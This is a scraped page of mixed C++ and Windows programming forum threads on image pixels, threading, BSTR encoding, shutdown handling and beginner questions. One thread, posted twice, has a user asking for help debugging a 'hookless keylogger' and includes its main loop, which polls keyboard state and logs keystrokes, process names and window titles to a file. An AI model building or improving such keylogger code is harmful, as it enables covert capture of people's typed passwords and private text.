|
http://www.vbforums.com/showthread.php?p=1889023
I am trying to increase the brightness of a grey image and if someone can do this so that I can go on to do code myself to change contrast and do filters it would be appreciated.
I'm just having trouble with how to alter a pixel of a loaded image on the screen. I don't know the syntax of what a pixel is to set it to a value.
|
|
|
|
|
In C++, you need to load images as a DIBSection, then you can easily access their bits.
Christian
I have several lifelong friends that are New Yorkers but I have always gravitated toward the weirdo's. - Richard Stringer
|
|
|
|
|
Hello All.. im new to multithreaded programming and have a couple q's.
So far ive got a simple test program working that launches a worker thread via Daniel Lohmann's kewl adapter, but i have a few questions.
How do i go about passing data w/ the function? Do i need a Class or struct that encapsulates all the data and pass a ptr of it to the function? Then what about my functions that i need to call from within my thread function... should these just go inside the 'Test' struct that my thread function is in... or are they something like static members of my data class?
|
|
|
|
|
Knave777Wave wrote:
Do i need a Class or struct that encapsulates all the data and pass a ptr of it to the function?
that's what i usually do.
Knave777Wave wrote:
Then what about my functions that i need to call from within my thread function... should these just go inside the 'Test' struct that my thread function is in... or are they something like static members of my data class?
they can go wherever you like. there's really nothing special about the functions a thread calls. maybe you want to keep them in the same file as your thread function for ease-of-maintenance, but it's not strictly necessary.
Image Toolkits | Image Processing | Cleek
|
|
|
|
|
hello,
I am trying to make a hookless keylogger using AttachThread
function to attach my thread to the foreground window and
GetKeyboardState to fish for keys but I have a problem when
the program is active(see code snipplet of most of the
source code below) the mouse double click doesn't work any
more on the desktop and in windows explorer but the logger
does log these events(the double clicks) so why does it do
this and how can I remedy this??
I don't need to necesarrily log these events is there any
way I could skip them?
I included the program's main loop here maby it helps you
when you give me answers(hopefully) thank you in advance.
<br />
while(true)<br />
{<br />
<br />
fereastra_activa=GetForegroundWindow();<br />
<br />
if(fereastra_activa!=NULL)<br />
{<br />
<br />
DWORD id;<br />
<br />
id = <br />
<br />
GetWindowThreadProcessId(fereastra_activa, &lpdwProcessId);<br />
<br />
<br />
<br />
if(AttachThreadInput(GetCurrentThreadId(),id,TRUE))<br />
{<br />
<br />
threadul","toader",MB_OK);<br />
//---------------------numele <br />
<br />
proceselor-------------------------------------------------<br />
<br />
--------<br />
<br />
<br />
<br />
GetWindowModuleFileName(fereastra_activa,nume_exe,1024);<br />
<br />
<br />
<br />
//MessageBox(0,nume_exe,"numele executabilului",MB_OK);<br />
<br />
<br />
<br />
if(StrCmpI(nume_exe,nume_exe_actual)!=0)<br />
{<br />
if(nume_exe!=NULL)<br />
{<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,"____________________________new <br />
<br />
process:___________________________________");<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,nume_exe);<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
strcpy(nume_exe_actual,nume_exe);<br />
}<br />
<br />
}<br />
<br />
//---------------------------------------------------------<br />
<br />
--------------------------------------<br />
//----------------------------numele <br />
<br />
ferestrelor------------------------------------------------<br />
<br />
-<br />
<br />
<br />
GetWindowText(fereastra_activa,nume_fereastra,1024);<br />
<br />
if <br />
<br />
(StrCmpI(nume_fereastra,nume_fereastra_actual)!=0)<br />
{<br />
<br />
<br />
if(strlen(nume_fereastra)>0)<br />
{<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,"--------------------------new <br />
<br />
window name:-------------------------------------");<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,nume_fereastra);<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
strcpy(nume_fereastra_actual,nume_fereastra);<br />
}<br />
<br />
}<br />
<br />
//---------------------------------------------------------<br />
<br />
--------------------------------------<br />
<br />
BYTE CharacterInfo[256];<br />
BYTE <br />
<br />
LastCharacterInfo[256];<br />
<br />
<br />
GetKeyboardState(CharacterInfo);<br />
<br />
<br />
<br />
if(!AttachThreadInput(GetCurrentThreadId(),id,FALSE))<br />
{<br />
MessageBox(0,"nu am <br />
<br />
putut sa scot threadul","toader",MB_OK);<br />
}<br />
<br />
<br />
<br />
if(memcmp(LastCharacterInfo, CharacterInfo, <br />
<br />
sizeof(LastCharacterInfo)) != 0)<br />
{<br />
for(int i = 32;i< <br />
<br />
127;i++)<br />
{<br />
<br />
<br />
if(CharacterInfo[i] & 0x80)<br />
{<br />
<br />
<br />
//MessageBox(0,"a key has been pressed","b",MB_OK);<br />
<br />
<br />
<br />
if(CharacterInfo[0x0D] & 0x80)<br />
{<br />
<br />
<br />
ScriereText("toader.txt","<ENTER>");<br />
}<br />
<br />
<br />
<br />
ScriereCaracter("toader.txt",i);<br />
<br />
<br />
}<br />
}<br />
<br />
<br />
memcpy(LastCharacterInfo, CharacterInfo, <br />
<br />
sizeof(LastCharacterInfo));<br />
}<br />
<br />
<br />
}<br />
else<br />
{<br />
MessageBox(0,"n-a <br />
<br />
mers","toader cel golan",MB_OK);<br />
if(id=0)<br />
{<br />
<br />
<br />
MessageBox(0,"pentru ca id este 0","sunt golan",MB_OK);<br />
}<br />
}<br />
}<br />
else<br />
{<br />
//MessageBox(0,"nu pot sa iau <br />
<br />
handel de la fereastra","toader",MB_OK);<br />
}<br />
Sleep(1);<br />
}
|
|
|
|
|
hello,
I am trying to make a hookless keylogger using AttachThread
function to attach my thread to the foreground window and
GetKeyboardState to fish for keys but I have a problem when
the program is active(see code snipplet of most of the
source code below) the mouse double click doesn't work any
more on the desktop and in windows explorer but the logger
does log these events(the double clicks) so why does it do
this and how can I remedy this??
I don't need to necesarrily log these events is there any
way I could skip them?
I included the program's main loop here maby it helps you
when you give me answers(hopefully) thank you in advance.
while(true)
{
fereastra_activa=GetForegroundWindow();
if(fereastra_activa!=NULL)
{
DWORD id;
id =
GetWindowThreadProcessId(fereastra_activa, &lpdwProcessId);
if(AttachThreadInput(GetCurrentThreadId(),id,TRUE))
{
//MessageBox(0,"am atasat
threadul","toader",MB_OK);
//---------------------numele
proceselor-------------------------------------------------
--------
GetWindowModuleFileName(fereastra_activa,nume_exe,1024);
//MessageBox(0,nume_exe,"numele executabilului",MB_OK);
if(StrCmpI(nume_exe,nume_exe_actual)!=0)
{
if(nume_exe!=NULL)
{
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,"____________________________new
process:___________________________________");
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,nume_exe);
ScriereText(fisier_de_log,"\n");
strcpy(nume_exe_actual,nume_exe);
}
}
//---------------------------------------------------------
--------------------------------------
//----------------------------numele
ferestrelor------------------------------------------------
-
GetWindowText(fereastra_activa,nume_fereastra,1024);
if
(StrCmpI(nume_fereastra,nume_fereastra_actual)!=0)
{
if(strlen(nume_fereastra)>0)
{
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,"--------------------------new
window name:-------------------------------------");
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,nume_fereastra);
ScriereText(fisier_de_log,"\n");
strcpy(nume_fereastra_actual,nume_fereastra);
}
}
//---------------------------------------------------------
--------------------------------------
BYTE CharacterInfo[256];
BYTE
LastCharacterInfo[256];
GetKeyboardState(CharacterInfo);
if(!AttachThreadInput(GetCurrentThreadId(),id,FALSE))
{
MessageBox(0,"nu am
putut sa scot threadul","toader",MB_OK);
}
if(memcmp(LastCharacterInfo, CharacterInfo,
sizeof(LastCharacterInfo)) != 0)
{
for(int i = 32;i<
127;i++)
{
if(CharacterInfo[i] & 0x80)
{
//MessageBox(0,"a key has been pressed","b",MB_OK);
if(CharacterInfo[0x0D] & 0x80)
{
ScriereText("toader.txt","<enter>");
}
ScriereCaracter("toader.txt",i);
}
}
memcpy(LastCharacterInfo, CharacterInfo,
sizeof(LastCharacterInfo));
}
}
else
{
MessageBox(0,"n-a
mers","toader cel golan",MB_OK);
if(id=0)
{
MessageBox(0,"pentru ca id este 0","sunt golan",MB_OK);
}
}
}
else
{
//MessageBox(0,"nu pot sa iau
handel de la fereastra","toader",MB_OK);
}
Sleep(1);
}
|
|
|
|
|
Hello,
I have text in bstr string. Text is in some code page.
How to convert text from code page to UTF8 and put it in wchar_t?
|
|
|
|
|
A BSTR holds a Unicode string, which has no code pages. You can use WideCharToMultiByte() with CP_UTF8 as the first parameter to convert it to UTF-8, but the destination is a char array, not wchar_t .
--Mike--
LINKS~! Ericahist | 1ClickPicGrabber | CP SearchBar v2.0.2 | C++ Forum FAQ | You Are Dumb
Magnae clunes mihi placent, nec possum de hac re mentiri.
|
|
|
|
|
Michael Dunn wrote:
A BSTR holds a Unicode string, which has no code pages.
HTML page, from IE, is taken in BSTR. What about charset which is defined in HTML? Does it mean no need to convert from the charset to UTF8?
|
|
|
|
|
When IE reads the HTML, it handles the encoding itself. When you get the HTML via a COM method, it's returned as a BSTR (using UCS-2 encoding) because that's how strings are passed around in COM.
So you need to be clear about what you want. If you want to change that BSTR to UTF-8, see my previous answer.
--Mike--
LINKS~! Ericahist | 1ClickPicGrabber | CP SearchBar v2.0.2 | C++ Forum FAQ | You Are Dumb
Magnae clunes mihi placent, nec possum de hac re mentiri.
|
|
|
|
|
I want UTF8 in wchar_t.
Thank you.
|
|
|
|
|
|
I want to put a phonebook style database into my VC6 application, what is the best way to do that?
|
|
|
|
|
You could define a database entry class and serialize a collection of them to a file. See this[^] series of articles if you'd like to know more about serialization and versioning.
/ravi
My new year's resolution: 2048 x 1536
Home | Articles | Freeware | Music
ravib@ravib.com
|
|
|
|
|
Hi Everybody,
I have a tough nut to crack here.
My Application (which sits all day in the Systray as cute little icon sitting next to the clock) has to do some tasks when the User wants to shutdown/logoff/reboot Windows. In detail, this is some file copying, maybe start a backup or whatever.
In order to achieve this, I catch WM_QUERYENDSESSION.
But, Windows isn't patient enough for my application! Windows keeps on shutting down after a few seconds, way too early for me... it get's worse as soon as a User has changed the Registry (HKEY_CURRENT_USER\Control Panel\Desktop\WaitToKillAppTimeout and HKEY_CURRENT_USER\Control Panel\Desktop\HungAppTimeout)
Okay, so I thought I just have to return 0 in WM_QUERYENDSESSION, check what the user wanted (logoff/shutdown/reboot) and manually shutdown Windows (ExitWindowsEx) once I finished my tasks.
So far so good, as long as the user logs off or shuts down.
But what if he chose "Reboot"? According to MSDN, it is not possible to determine if the user Shuts down or Reboots Windows while in WM_QUERYENDSESSION... but that is exactly the one info I need.
Operating system is XP, but it would be cool if it also works in elder OS (like Windows 9x/Me and NT 4.0).
Do you have any idea?
PS: BTW, I'm using Visual Studio .NET, but code in C using pure WinAPI (no Wrapper like MFC or any Classes like in C++). I did not know where to put this question, if this is the wrong forum, please let me know.
|
|
|
|
|
#include <stdio.h>
#import "C:\Project1.dll" no_namespace
class RemoteDllLoader
{
_Class1Ptr ptr;
public:
RemoteDllLoader()
{
try
{
CoInitialize(NULL);
ptr.CreateInstance(__uuidof(Class1));
}
catch(_com_error &e)
{
_bstr_t err = e.Description();
MessageBox(NULL,err,"Error",0);
}
}
~RemoteDllLoader()
{
CoUninitialize();
}
void Test()
{
ptr->Test1("Hi");
}
int Test2(int n1,int n2)
{
return ptr->Test2(n1,n2);
}
};
this is the code that i used to load an activex dll.but I want to load a particular dll by specifying it dll name given by a parameter.Can it be possible? I appreciate any possible answer.Thnxs
Viraj Siriwardana
|
|
|
|
|
Hey. My name is Stan and i'm from Norway. I'm a newbie with programming and
c++.
I have a couple of probably stupid questions, but i would be real glad if someone could answer them.
1: First of all, Visual c++'s only a c++ compiler? not its own language?
2: How fast does programming generally develops? is it likely to buy a "out of date" book (and if so, how long does it take? are a book out of date just a year after you bought it?), or doesent the langueges itself change very mutch over the years?
3: When you start to learn how to program, is it common to start with ms dos progs?
4: Can anyone explain how to think in bigger programs? mayby point out some smaller problems to a bigger problem? Having problems understanding the bigger programs.
5: What does anyone here think about job oppertuneties in the future? 5-10 years? is it going to be alot of competition?
6: My last question is about the different type of professions.
Lets say that a person could program in c++. Could he have the skill to program both games, apps, web sites, etc? Can someone give me some typical job oppertuneties for a programmer. how long education is it?
I know its alot of questions and that they are somewhat strange, and i know that its alot to ask for a person to answer all these questions, but if anyone her could just try to answer atleast some of them, it would have been greatly appreciated. A super thanks in advance
Stan
|
|
|
|
|
1, vc is a C++ compiler with a powerful class library called MFC , by which you can get a lot conveniece in programming.
3, i start my first program 4 years ago with dos-like progs.
4, i don't think it's easy for someone to competence all type of programmers.
i'm very poor in English
|
|
|
|
|
Thanks for the answers mate
|
|
|
|
|
1. Visual C++ is an Integrated Development Environment (IDE) for the C++ language. This means you can edit, compile, run and debug programs inside the Visual C++ system. The actual compiler is a separate command line program (at least in the version of VC++ I last used) but you don't deal with it directly.
2. Programming develops very slowly. You can buy a book originally published over 30 years ago and the concepts are still valid. However, programming tools and platforms change much quicker.
3. No. Where would you even find a working copy of MS-DOS and programming tools for it?
4. Split the problem into smaller parts.
5. No idea. 5-10 years? I wish I could predict 5-10 months ahead.
6. More likely you specialize to an application field (e.g. Web programming) and use a variety of languages. Learning programming is not about learning a programming language.
|
|
|
|
|
Thanks alot for the answer. I know you dont use ms dos programs alot today, but you gotta start somewere.... in my book "c++ how to program. Introducing Object oriented design with the UML, 3rd edition" i start off making very simple programs in ms-dos. Am i able to make simple win32 apps when i cant make simple ms-dos apps?
Thanks again for the answer
|
|
|
|
|
1- Visual C++ is microsoft version of C++, which is the same "base" language with additional libraries.
2- It depends on what you want to do, for standard C++, an older book will only show what were available in the language at that time, newer books will also feature additional topics ( templates, STL,... ); for specific books ( MFC for example ), the basics might still work, bu tthey will miss features.
3- I pretty much learned on unix, so, yes, I started to learn console type applications ( e.g. like ms-dos ).
4- bigger programs need good planning and design, not just a lot of programming. A Large program will usually consists of small functionnality that will "work" together, graphics, database, file operations, numerical computation, GUI, ... all with their own sub functionnalities.
5- depends on a lot of factors, I cannot answer that, check with local employement offices, maybe they have info on that.
6- Yes, a person who learns C++ can do all kind of programming, at first, but depending on his abilities and what he likes to do, or what his bos tells him to do, he will mostly concentrate on certain part of the application; for example, if you get hired by a game company to do database work for the game, you will not necessarilly learn game design (level plannig,...) or sound integration or graphic engine; and after that, when you will be looking for another job, you will have technical experience in DB, but not in other fields; but you should have experience of the "game domain" which can also be important.
As for education, opinions varies, me think that you should at least do a bachelor in computer science ( or related engineering fields ), lots of companies are looking for people with a minimum of education ( on paper ).
Maximilien Lincourt
Your Head A Splode - Strong Bad
|
|
|
|
|
Thanks alot for the very explained answers!
|
|
|
|
|
Maximilien wrote:
Yes, a person who learns C++ can do all kind of programming
I have heard it said that to a C++ programmer, the whole world looks like thumbs
|
|
|
|
|
I'm trying to show a modal dialog (an about box) when the menu option is selected. I have the dialog organized under the ID tag IDD_ABOUTDLG. I do the prescribed procedure to add an MFC class, include the header, create a dialog, then do the DoModal() member. However, when I'm in the MFC Add Class Wizard, I fill out the information, base it off of CDialog. I name the class CAboutDlg (files are aptly named). When I click Finish, the window disappears but no files are created and I can't continue. I remember when I first tried to tinker with MFC, I ran into the same thing, posted the problem on Microsoft's appropriate newsgroup and an MVP responded saying that it's a known bug? Can anyone shed some light on this, how to fix the bug, or how to modify the project to put the data in place to support the dialog without going through the MFC wizard mentioned above?
Thanks in advance, and I appreciate all the help I've been getting, this program is coming along nicely. I think I nailed down reading in any size bitmap image for the manipulation I need on it.
|
|
|
|
|